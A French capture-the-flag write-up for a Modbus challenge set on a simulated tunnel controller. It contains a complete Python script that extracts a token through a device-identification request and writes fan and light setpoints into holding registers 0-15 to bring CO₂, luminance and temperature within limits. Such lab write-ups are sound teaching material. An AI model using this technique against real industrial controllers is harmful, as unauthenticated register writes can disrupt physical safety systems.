Après avoir réussi à extraire le token dans l’étape 1/1, on va pouvoir passer à l’étape supérieur de ce chall Modbus : écrire dans les registers afin de pouvoir affecter les valeurs de luminosité, de qualité de l’air et de température.
Rappel des normes pour le tunnel :
Taux de CO₂ (PPM) <= 800 PPM
Luminance (cd/m²) >= 300 cd/m²
Température (°C) <= 25°C
On va donc jouer sur les valeurs que l’on va transmettre aux registers afin de mettre aux normes ces 3 valeurs.
Après avoir effectué des requêtes de lecture (afin de noter les différents registers) et en jouant sur les valeurs des registers, j’ai pu établir que 0-7 étaient les hélices, et 8-15 étaient les ampoules, avec également les valeurs correspondantes pour la mise en norme : (valeurs perso, d’autres sont théoriquement possibles)
0-7 -> 1400
8-15 -> 80
Ci-joint le script permettant de récupérer et d’afficher le token, et d’envoyer les différentes valeurs à l’automate :
import socket
import struct
import re
import time
HOST = "localhost"
PORT = 4502
def build_mei_request(transaction_id=1, unit_id=1):
pdu = struct.pack("BBBB", 0x2B, 0x0E, 0x01, 0x00)
mbap = struct.pack(">HHHB", transaction_id, 0, len(pdu) + 1, unit_id)
return mbap + pdu
# Write Single Register - FC=0x06
def write_single(tid, addr, value, uid=1):
pdu = struct.pack(">BHH", 0x06, addr, value)
mbap = struct.pack(">HHHB", tid, 0, len(pdu)+1, uid)
return mbap + pdu
# Read Input Registers - FC=0x04
def read_input(tid, addr, uid=1):
pdu = struct.pack(">BHH", 0x04, addr, 1)
mbap = struct.pack(">HHHB", tid, 0, len(pdu)+1, uid)
return mbap + pdu
with socket.create_connection((HOST, PORT), timeout=5) as s:
# Récupération du token pour s'authentifier sur la page web
s.sendall(build_mei_request())
resp = s.recv(1024)
pdu = resp[7:]
offset = 7
token = None
while offset + 2 <= len(pdu):
obj_id = pdu[offset]
obj_len = pdu[offset + 1]
obj_val = pdu[offset + 2:offset + 2 + obj_len].decode('latin-1', errors='replace')
match = re.search(r'Your token is : ([a-f0-9]+)', obj_val)
if match:
token = match.group(1)
print(f"\n[+] Token : {token}")
offset += 2 + obj_len
tid = 2
consignes = {
# Ventilateurs
0: 1400,
1: 1400,
2: 1400,
3: 1400,
4: 1400,
5: 1400,
6: 1400,
7: 1400,
# Lumières — valeurs distinctes pour identifier
8: 80,
9: 80,
10: 80,
11: 80,
12: 80,
13: 80,
14: 80,
15: 80,
}
# Envoi des valeurs à l'automate
print("\n[*] Envoi des consignes...")
for addr, val in consignes.items():
s.sendall(write_single(tid, addr, val)); tid += 1
resp = s.recv(1024)
if resp[7] == 0x06:
print(f" Holding[{addr}] = {val}")
else:
print(f" Holding[{addr}] ERR : {resp.hex()}")
# Lecture des valeurs retournées par l'automate
time.sleep(2)
print("\n[*] Valeurs process :")
labels = ["CO2 NORD", "CO2 SUD", "Lum NORD", "Lum SUD", "Temp NORD", "Temp SUD", "???"]
for addr in range(7):
s.sendall(read_input(tid, addr)); tid += 1
resp = s.recv(1024)
if resp[7] == 0x04:
val = struct.unpack(">H", resp[9:11])[0]
print(f" Input[{addr}] {labels[addr]} = {val}")
else:
print(f" Input[{addr}] ERR : {resp.hex()}")
# Maitient de la connexion le temps que les valeurs (CO2, luminosité, température) retrouvent des taux normaux (1min)
print("[*] Connexion TCP maintenue ouverte.")
print(f"[*] Entre le token sur la page wbe http://{HOST}:8000/")
input("[*] Appuie sur entrée une fois le token soumis pour fermer...\n")
print("[*] Connexion fermée.")
🚩 Après une minute, une fois les taux aux normes, le flag apparaîtra !